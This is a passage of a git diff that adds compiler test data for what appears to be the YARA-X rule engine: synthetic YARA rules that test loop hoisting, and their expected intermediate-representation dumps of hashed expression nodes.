0xc66f08d510993c29 + 79: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 80: CONST integer(15) + 82: CONST integer(10) + 88: EQ -- hash: 0x5268927dfd936807 + 86: ADD -- hash: 0x6f28937c245e1215 + 84: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 85: CONST integer(16) + 87: CONST integer(10) + 93: EQ -- hash: 0x3e93abc1d27c2c5f + 91: ADD -- hash: 0x17e21e233822e801 + 89: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 90: CONST integer(17) + 92: CONST integer(10) + 98: EQ -- hash: 0x2abec505a764f0b7 + 96: ADD -- hash: 0xc09ba8ca4fe7bdec + 94: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 95: CONST integer(18) + 97: CONST integer(10) + 103: EQ -- hash: 0x16e9de49784db50f + 101: ADD -- hash: 0x6955337163ac93d8 + 99: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 100: CONST integer(19) + 102: CONST integer(10) + 108: EQ -- hash: 0x314f78d4d367967 + 106: ADD -- hash: 0x120ebe18777169c4 + 104: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 105: CONST integer(20) + 107: CONST integer(10) + 113: EQ -- hash: 0xef4010d1221f3dbe + 111: ADD -- hash: 0xbac848bf8b363faf + 109: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 110: CONST integer(21) + 112: CONST integer(10) + 118: EQ -- hash: 0xdb6b2a14f7080216 + 116: ADD -- hash: 0x6381d3669efb159b + 114: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 115: CONST integer(22) + 117: CONST integer(10) + 123: EQ -- hash: 0xc7964358cbf0c66e + 121: ADD -- hash: 0xc3b5e0db2bfeb87 + 119: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 120: CONST integer(23) + 122: CONST integer(10) + 128: EQ -- hash: 0xb3c15c9c9cd98ac6 + 126: ADD -- hash: 0xb4f4e8b4c684c172 + 124: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 125: CONST integer(24) + 127: CONST integer(10) + 133: EQ -- hash: 0x9fec75e071c24f1e + 131: ADD -- hash: 0x5dae735bda49975e + 129: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 130: CONST integer(25) + 132: CONST integer(10) + 138: EQ -- hash: 0x8c178f2446ab1376 + 136: ADD -- hash: 0x667fe02ee0e6d4a + 134: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 135: CONST integer(26) + 137: CONST integer(10) + 143: EQ -- hash: 0x7842a8681b93d7ce + 141: ADD -- hash: 0xaf2188aa01d34335 + 139: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 140: CONST integer(27) + 142: CONST integer(10) + 148: EQ -- hash: 0x646dc1abec7c9c26 + 146: ADD -- hash: 0x57db135115981921 + 144: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 145: CONST integer(28) + 147: CONST integer(10) + 153: EQ -- hash: 0x5098daefc165607e + 151: ADD -- hash: 0x949df8295cef0d + 149: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 150: CONST integer(29) + 152: CONST integer(10) + 158: EQ -- hash: 0x3cc3f433964e24d6 + 156: ADD -- hash: 0xa94e289f3d21c4f8 + 154: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 155: CONST integer(30) + 157: CONST integer(10) + 163: EQ -- hash: 0x28ef0d776b36e92e + 161: ADD -- hash: 0x5207b34650e69ae4 + 159: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 160: CONST integer(31) + 162: CONST integer(10) + 168: EQ -- hash: 0x151a26bb3c1fad86 + 166: ADD -- hash: 0xfac13ded64ab70cf + 164: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 165: CONST integer(32) + 167: CONST integer(10) + 173: EQ -- hash: 0x1453fff110871de + 171: ADD -- hash: 0xa37ac894787046bb + 169: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 170: CONST integer(33) + 172: CONST integer(10) + 178: EQ -- hash: 0xed705942e5f13635 + 176: ADD -- hash: 0x4c34533b8c351ca7 + 174: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 175: CONST integer(34) + 177: CONST integer(10) + 183: EQ -- hash: 0xd99b7286bad9fa8d + 181: ADD -- hash: 0xf4eddde2a3f9f292 + 179: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 180: CONST integer(35) + 182: CONST integer(10) + 188: EQ -- hash: 0xc5c68bca8fc2bee5 + 186: ADD -- hash: 0x9da76889b7bec87e + 184: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 185: CONST integer(36) + 187: CONST integer(10) + 193: EQ -- hash: 0xb1f1a50e60ab833d + 191: ADD -- hash: 0x4660f330cb839e6a + 189: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 190: CONST integer(37) + 192: CONST integer(10) + 198: EQ -- hash: 0x9e1cbe5235944795 + 196: ADD -- hash: 0xef1a7dd7df487455 + 194: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 195: CONST integer(38) + 197: CONST integer(10) + 203: EQ -- hash: 0x8a47d7960a7d0bed + 201: ADD -- hash: 0x97d4087ef30d4a41 + 199: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 200: CONST integer(39) + 202: CONST integer(10) + 208: EQ -- hash: 0x7672f0d9df65d045 + 206: ADD -- hash: 0x408d932606d2202d + 204: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 205: CONST integer(40) + 207: CONST integer(10) + 213: EQ -- hash: 0x629e0a1db04e949d + 211: ADD -- hash: 0xe9471dcd1a96f618 + 209: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 210: CONST integer(41) + 212: CONST integer(10) + 218: EQ -- hash: 0x4ec92361853758f5 + 216: ADD -- hash: 0x9200a8742e5bcc04 + 214: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 215: CONST integer(42) + 217: CONST integer(10) + 223: EQ -- hash: 0x3af43ca55a201d4d + 221: ADD -- hash: 0x3aba331b4220a1f0 + 219: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 220: CONST integer(43) + 222: CONST integer(10) + 228: EQ -- hash: 0x271f55e92f08e1a5 + 226: ADD -- hash: 0xe373bdc255e577db + 224: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 225: CONST integer(44) + 227: CONST integer(10) + 233: EQ -- hash: 0x134a6f2d03f1a5fd + 231: ADD -- hash: 0x8c2d486969aa4dc7 + 229: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 230: CONST integer(45) + 232: CONST integer(10) + 238: EQ -- hash: 0xff758870d4da6a54 + 236: ADD -- hash: 0x34e6d3107d6f23b3 + 234: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 235: CONST integer(46) + 237: CONST integer(10) + 243: EQ -- hash: 0xeba0a1b4a9c32eac + 241: ADD -- hash: 0xdda05db79133f99e + 239: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 240: CONST integer(47) + 242: CONST integer(10) + 248: EQ -- hash: 0xd7cbbaf87eabf304 + 246: ADD -- hash: 0x8659e85ea4f8cf8a + 244: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 245: CONST integer(48) + 247: CONST integer(10) + 253: EQ -- hash: 0xc3f6d43c5394b75c + 251: ADD -- hash: 0x2f137305b8bda576 + 249: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 250: CONST integer(49) + 252: CONST integer(10) + 258: EQ -- hash: 0xb021ed80247d7bb4 + 256: ADD -- hash: 0xd7ccfdaccc827b61 + 254: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 255: CONST integer(50) + 257: CONST integer(10) + 263: EQ -- hash: 0x9c4d06c3f966400c + 261: ADD -- hash: 0x80868853e047514d + 259: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 260: CONST integer(51) + 262: CONST integer(10) + 268: EQ -- hash: 0x88782007ce4f0464 + 266: ADD -- hash: 0x294012faf40c2739 + 264: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 265: CONST integer(52) + 267: CONST integer(10) + 273: EQ -- hash: 0x74a3394ba337c8bc + 271: ADD -- hash: 0xd1f99da20bd0fd24 + 269: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 270: CONST integer(53) + 272: CONST integer(10) + 278: EQ -- hash: 0x60ce528f74208d14 + 276: ADD -- hash: 0x7ab328491f95d310 + 274: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 275: CONST integer(54) + 277: CONST integer(10) + 283: EQ -- hash: 0x4cf96bd34909516c + 281: ADD -- hash: 0x236cb2f0335aa8fc + 279: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 280: CONST integer(55) + 282: CONST integer(10) + 288: EQ -- hash: 0x392485171df215c4 + 286: ADD -- hash: 0xcc263d97471f7ee7 + 284: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 285: CONST integer(56) + 287: CONST integer(10) + 293: EQ -- hash: 0x254f9e5af2dada1c + 291: ADD -- hash: 0x74dfc83e5ae454d3 + 289: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 290: CONST integer(57) + 292: CONST integer(10) + 298: EQ -- hash: 0x117ab79ec7c39e74 + 296: ADD -- hash: 0x1d9952e56ea92abf + 294: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 295: CONST integer(58) + 297: CONST integer(10) + 303: EQ -- hash: 0xfda5d0e298ac62cb + 301: ADD -- hash: 0xc652dd8c826e00aa + 299: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 300: CONST integer(59) + 302: CONST integer(10) + 308: EQ -- hash: 0xe9d0ea266d952723 + 306: ADD -- hash: 0x6f0c68339632d696 + 304: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 305: CONST integer(60) + 307: CONST integer(10) + 313: EQ -- hash: 0xd5fc036a427deb7b + 311: ADD -- hash: 0x17c5f2daa9f7ac82 + 309: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 310: CONST integer(61) + 312: CONST integer(10) + 318: EQ -- hash: 0xc2271cae1766afd3 + 316: ADD -- hash: 0xc07f7d81bdbc826d + 314: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 315: CONST integer(62) + 317: CONST integer(10) + 323: EQ -- hash: 0xae5235f1e84f742b + 321: ADD -- hash: 0x69390828d1815859 + 319: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 320: CONST integer(63) + 322: CONST integer(10) + 328: EQ -- hash: 0x9a7d4f35bd383883 + 326: ADD -- hash: 0x11f292cfe5462e45 + 324: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 325: CONST integer(64) + 327: CONST integer(10) + 333: EQ -- hash: 0x86a868799220fcdb + 331: ADD -- hash: 0xbaac1d76f90b0430 + 329: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 330: CONST integer(65) + 332: CONST integer(10) + 338: EQ -- hash: 0x72d381bd6709c133 + 336: ADD -- hash: 0x6365a81e0ccfda1c + 334: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 335: CONST integer(66) + 337: CONST integer(10) + 343: EQ -- hash: 0x5efe9b013bf2858b + 341: ADD -- hash: 0xc1f32c52094b008 + 339: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 340: CONST integer(67) + 342: CONST integer(10) + 348: EQ -- hash: 0x4b29b4450cdb49e3 + 346: ADD -- hash: 0xb4d8bd6c345985f3 + 344: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 345: CONST integer(68) + 347: CONST integer(10) + 353: EQ -- hash: 0x3754cd88e1c40e3b + 351: ADD -- hash: 0x5d924813481e5bdf + 349: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 350: CONST integer(69) + 352: CONST integer(10) + 358: EQ -- hash: 0x237fe6ccb6acd293 + 356: ADD -- hash: 0x64bd2ba5fe331cb + 354: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 355: CONST integer(70) + 357: CONST integer(10) + 363: EQ -- hash: 0xfab00108b9596eb + 361: ADD -- hash: 0xaf055d6173a807b6 + 359: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 360: CONST integer(71) + 362: CONST integer(10) + 368: EQ -- hash: 0xfbd619545c7e5b42 + 366: ADD -- hash: 0x57bee808876cdda2 + 364: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 365: CONST integer(72) + 367: CONST integer(10) + 373: EQ -- hash: 0xe801329831671f9a + 371: ADD -- hash: 0x7872af9b31b38e + 369: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 370: CONST integer(73) + 372: CONST integer(10) + 378: EQ -- hash: 0xd42c4bdc064fe3f2 + 376: ADD -- hash: 0xa931fd56aef68979 + 374: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 375: CONST integer(74) + 377: CONST integer(10) + 383: EQ -- hash: 0xc057651fdb38a84a + 381: ADD -- hash: 0x51eb87fdc2bb5f65 + 379: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 380: CONST integer(75) + 382: CONST integer(10) + 388: EQ -- hash: 0xac827e63ac216ca2 + 386: ADD -- hash: 0xfaa512a4d6803550 + 384: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 385: CONST integer(76) + 387: CONST integer(10) + 393: EQ -- hash: 0x98ad97a7810a30fa + 391: ADD -- hash: 0xa35e9d4bea450b3c + 389: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 390: CONST integer(77) + 392: CONST integer(10) + 398: EQ -- hash: 0x84d8b0eb55f2f552 + 396: ADD -- hash: 0x4c1827f2fe09e128 + 394: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 395: CONST integer(78) + 397: CONST integer(10) + 403: EQ -- hash: 0x7103ca2f2adbb9aa + 401: ADD -- hash: 0xf4d1b29a11ceb713 + 399: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 400: CONST integer(79) + 402: CONST integer(10) + 408: EQ -- hash: 0x5d2ee372ffc47e02 + 406: ADD -- hash: 0x9d8b3d4125938cff + 404: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 405: CONST integer(80) + 407: CONST integer(10) + 413: EQ -- hash: 0x4959fcb6d0ad425a + 411: ADD -- hash: 0x4644c7e8395862eb + 409: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 410: CONST integer(81) + 412: CONST integer(10) + 418: EQ -- hash: 0x358515faa59606b2 + 416: ADD -- hash: 0xeefe528f4d1d38d6 + 414: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 415: CONST integer(82) + 417: CONST integer(10) + 423: EQ -- hash: 0x21b02f3e7a7ecb0a + 421: ADD -- hash: 0x97b7dd3660e20ec2 + 419: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 420: CONST integer(83) + 422: CONST integer(10) + 428: EQ -- hash: 0xddb48824f678f62 + 426: ADD -- hash: 0x407167dd74a6e4ae + 424: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 425: CONST integer(84) + 427: CONST integer(10) + 433: EQ -- hash: 0xfa0661c6205053b9 + 431: ADD -- hash: 0xe92af284886bba99 + 429: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 430: CONST integer(85) + 432: CONST integer(10) + 438: EQ -- hash: 0xe6317b09f5391811 + 436: ADD -- hash: 0x91e47d2b9c309085 + 434: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 435: CONST integer(86) + 437: CONST integer(10) + 443: EQ -- hash: 0xd25c944dca21dc69 + 441: ADD -- hash: 0x3a9e07d2b3f56671 + 439: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 440: CONST integer(87) + 442: CONST integer(10) + 448: EQ -- hash: 0xbe87ad919f0aa0c1 + 446: ADD -- hash: 0xe3579279c7ba3c5c + 444: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 445: CONST integer(88) + 447: CONST integer(10) + 453: EQ -- hash: 0xaab2c6d573f36519 + 451: ADD -- hash: 0x8c111d20db7f1248 + 449: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 450: CONST integer(89) + 452: CONST integer(10) + 458: EQ -- hash: 0x96dde01944dc2971 + 456: ADD -- hash: 0x34caa7c7ef43e834 + 454: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 455: CONST integer(90) + 457: CONST integer(10) + 463: EQ -- hash: 0x8308f95d19c4edc9 + 461: ADD -- hash: 0xdd84326f0308be1f + 459: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 460: CONST integer(91) + 462: CONST integer(10) + 468: EQ -- hash: 0x6f3412a0eeadb221 + 466: ADD -- hash: 0x863dbd1616cd940b + 464: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 465: CONST integer(92) + 467: CONST integer(10) + 473: EQ -- hash: 0x5b5f2be4c3967679 + 471: ADD -- hash: 0x2ef747bd2a9269f7 + 469: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 470: CONST integer(93) + 472: CONST integer(10) + 478: EQ -- hash: 0x478a4528947f3ad1 + 476: ADD -- hash: 0xd7b0d2643e573fe2 + 474: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 475: CONST integer(94) + 477: CONST integer(10) + 483: EQ -- hash: 0x33b55e6c6967ff29 + 481: ADD -- hash: 0x806a5d0b521c15ce + 479: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 480: CONST integer(95) + 482: CONST integer(10) + 488: EQ -- hash: 0x1fe077b03e50c381 + 486: ADD -- hash: 0x2923e7b265e0ebba + 484: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 485: CONST integer(96) + 487: CONST integer(10) + 493: EQ -- hash: 0xc0b90f4133987d9 + 491: ADD -- hash: 0xd1dd725979a5c1a5 + 489: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 490: CONST integer(97) + 492: CONST integer(10) + 498: EQ -- hash: 0xf836aa37e4224c30 + 496: ADD -- hash: 0x7a96fd008d6a9791 + 494: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 495: CONST integer(98) + 497: CONST integer(10) + 503: EQ -- hash: 0xe461c37bb90b1088 + 501: ADD -- hash: 0x235087a7a12f6d7d + 499: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 500: CONST integer(99) + 502: CONST integer(10) + 508: EQ -- hash: 0xd08cdcbf8df3d4e0 + 506: ADD -- hash: 0xcc0a124eb4f44368 + 504: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 505: CONST integer(100) + 507: CONST integer(10) + 513: EQ -- hash: 0xbcb7f60362dc9938 + 511: ADD -- hash: 0x74c39cf5c8b91954 + 509: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 510: CONST integer(101) + 512: CONST integer(10) + 518: EQ -- hash: 0xa8e30f4737c55d90 + 516: ADD -- hash: 0x1d7d279cdc7def40 + 514: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 515: CONST integer(102) + 517: CONST integer(10) + 523: EQ -- hash: 0x950e288b08ae21e8 + 521: ADD -- hash: 0xc636b243f042c52b + 519: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 520: CONST integer(103) + 522: CONST integer(10) + 528: EQ -- hash: 0x813941cedd96e640 + 526: ADD -- hash: 0x6ef03ceb04079b17 + 524: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 525: CONST integer(104) + 527: CONST integer(10) + diff --git a/lib/src/compiler/ir/tests/testdata/14.in b/lib/src/compiler/ir/tests/testdata/14.in new file mode 100644 index 00000000..7c8975b0 --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/14.in @@ -0,0 +1,142 @@ +import "pe" + +rule test_hoisting_nested { + condition: + for any i in (1..5) : ( + for any j in (1..5) : ( + for any k in (1..5) : ( + pe.number_of_sections > 0 or i == 3 or j == 4 + ) + ) + ) +} + +rule test_hoisting_with { + condition: + with x = 10 : ( + for any i in (1..5) : ( + x + 1 == 11 and i > 0 + ) + ) +} + +rule test_hoisting_field_access { + condition: + for any i in (0..pe.number_of_sections) : ( + pe.sections[i].name == ".text" and pe.number_of_sections > 0 + ) +} + +rule test_hoisting_limit { + condition: + for any i in (1..5) : ( + for any j in (1..5) : ( + i + 0 == 10 and + i + 1 == 10 and + i + 2 == 10 and + i + 3 == 10 and + i + 4 == 10 and + i + 5 == 10 and + i + 6 == 10 and + i + 7 == 10 and + i + 8 == 10 and + i + 9 == 10 and + i + 10 == 10 and + i + 11 == 10 and + i + 12 == 10 and + i + 13 == 10 and + i + 14 == 10 and + i + 15 == 10 and + i + 16 == 10 and + i + 17 == 10 and + i + 18 == 10 and + i + 19 == 10 and + i + 20 == 10 and + i + 21 == 10 and + i + 22 == 10 and + i + 23 == 10 and + i + 24 == 10 and + i + 25 == 10 and + i + 26 == 10 and + i + 27 == 10 and + i + 28 == 10 and + i + 29 == 10 and + i + 30 == 10 and + i + 31 == 10 and + i + 32 == 10 and + i + 33 == 10 and + i + 34 == 10 and + i + 35 == 10 and + i + 36 == 10 and + i + 37 == 10 and + i + 38 == 10 and + i + 39 == 10 and + i + 40 == 10 and + i + 41 == 10 and + i + 42 == 10 and + i + 43 == 10 and + i + 44 == 10 and + i + 45 == 10 and + i + 46 == 10 and + i + 47 == 10 and + i + 48 == 10 and + i + 49 == 10 and + i + 50 == 10 and + i + 51 == 10 and + i + 52 == 10 and + i + 53 == 10 and + i + 54 == 10 and + i + 55 == 10 and + i + 56 == 10 and + i + 57 == 10 and + i + 58 == 10 and + i + 59 == 10 and + i + 60 == 10 and + i + 61 == 10 and + i + 62 == 10 and + i + 63 == 10 and + i + 64 == 10 and + i + 65 == 10 and + i + 66 == 10 and + i + 67 == 10 and + i + 68 == 10 and + i + 69 == 10 and + i + 70 == 10 and + i + 71 == 10 and + i + 72 == 10 and + i + 73 == 10 and + i + 74 == 10 and + i + 75 == 10 and + i + 76 == 10 and + i + 77 == 10 and + i + 78 == 10 and + i + 79 == 10 and + i + 80 == 10 and + i + 81 == 10 and + i + 82 == 10 and + i + 83 == 10 and + i + 84 == 10 and + i + 85 == 10 and + i + 86 == 10 and + i + 87 == 10 and + i + 88 == 10 and + i + 89 == 10 and + i + 90 == 10 and + i + 91 == 10 and + i + 92 == 10 and + i + 93 == 10 and + i + 94 == 10 and + i + 95 == 10 and + i + 96 == 10 and + i + 97 == 10 and + i + 98 == 10 and + i + 99 == 10 and + i + 100 == 10 and + i + 101 == 10 and + i + 102 == 10 and + i + 103 == 10 and + i + 104 == 10 and + true + ) + ) +} diff --git a/lib/src/compiler/ir/tests/testdata/14.ir b/lib/src/compiler/ir/tests/testdata/14.ir new file mode 100644 index 00000000..bfde2198 --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/14.ir @@ -0,0 +1,628 @@ +RULE test_hoisting_nested + 20: FOR_IN -- hash: 0x72bf379da36225e5 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(1) + 1: CONST integer(5) + 19: FOR_IN -- hash: 0xdaad33cf0baf0a64 + n: Var { frame_id: 2, ty: integer, index: 7 } + i: Var { frame_id: 2, ty: integer, index: 8 } + max_count: Var { frame_id: 2, ty: integer, index: 9 } + count: Var { frame_id: 2, ty: integer, index: 10 } + item: Var { frame_id: 2, ty: unknown, index: 11 } + 2: CONST integer(1) + 3: CONST integer(5) + 18: FOR_IN -- hash: 0x497c3d59939269bb + n: Var { frame_id: 3, ty: integer, index: 14 } + i: Var { frame_id: 3, ty: integer, index: 15 } + max_count: Var { frame_id: 3, ty: integer, index: 16 } + count: Var { frame_id: 3, ty: integer, index: 17 } + item: Var { frame_id: 3, ty: unknown, index: 18 } + 4: CONST integer(1) + 5: CONST integer(5) + 17: OR -- hash: 0x12919697ba229f76 + 10: GT -- hash: 0xc0fd295a9fa39fa9 + 8: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 6: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 7: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 9: CONST integer(0) + 13: EQ -- hash: 0xca7652cced0142e6 + 11: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 12: CONST integer(3) + 16: EQ -- hash: 0xdf5816c82bc02f3 + 14: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } + 15: CONST integer(4) + +RULE test_hoisting_with + 13: WITH -- hash: 0x862ac2b588220f59 + 0: CONST integer(10) + 12: FOR_IN -- hash: 0xfb8fa06e0ec768d9 + n: Var { frame_id: 2, ty: integer, index: 1 } + i: Var { frame_id: 2, ty: integer, index: 2 } + max_count: Var { frame_id: 2, ty: integer, index: 3 } + count: Var { frame_id: 2, ty: integer, index: 4 } + item: Var { frame_id: 2, ty: unknown, index: 5 } + 1: CONST integer(1) + 2: CONST integer(5) + 11: AND -- hash: 0xf3506d7cd428c254 + 7: EQ -- hash: 0x8d45f5fbc7dba69a + 5: CONST integer(11) + 6: CONST integer(11) + 10: GT -- hash: 0x7fb3c7b6e648fdb1 + 8: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 6 }, type_value: integer(unknown) } + 9: CONST integer(0) + +RULE test_hoisting_field_access + 19: FOR_IN -- hash: 0x9f80cf2da772b9f9 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(0) + 3: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 1: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 2: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 18: AND -- hash: 0x4044f60b2b21d46 + 12: EQ -- hash: 0xd80bb6889bf5d23f + 10: FIELD_ACCESS -- hash: 0xf6f8e9b23f513dd1 + 8: LOOKUP -- 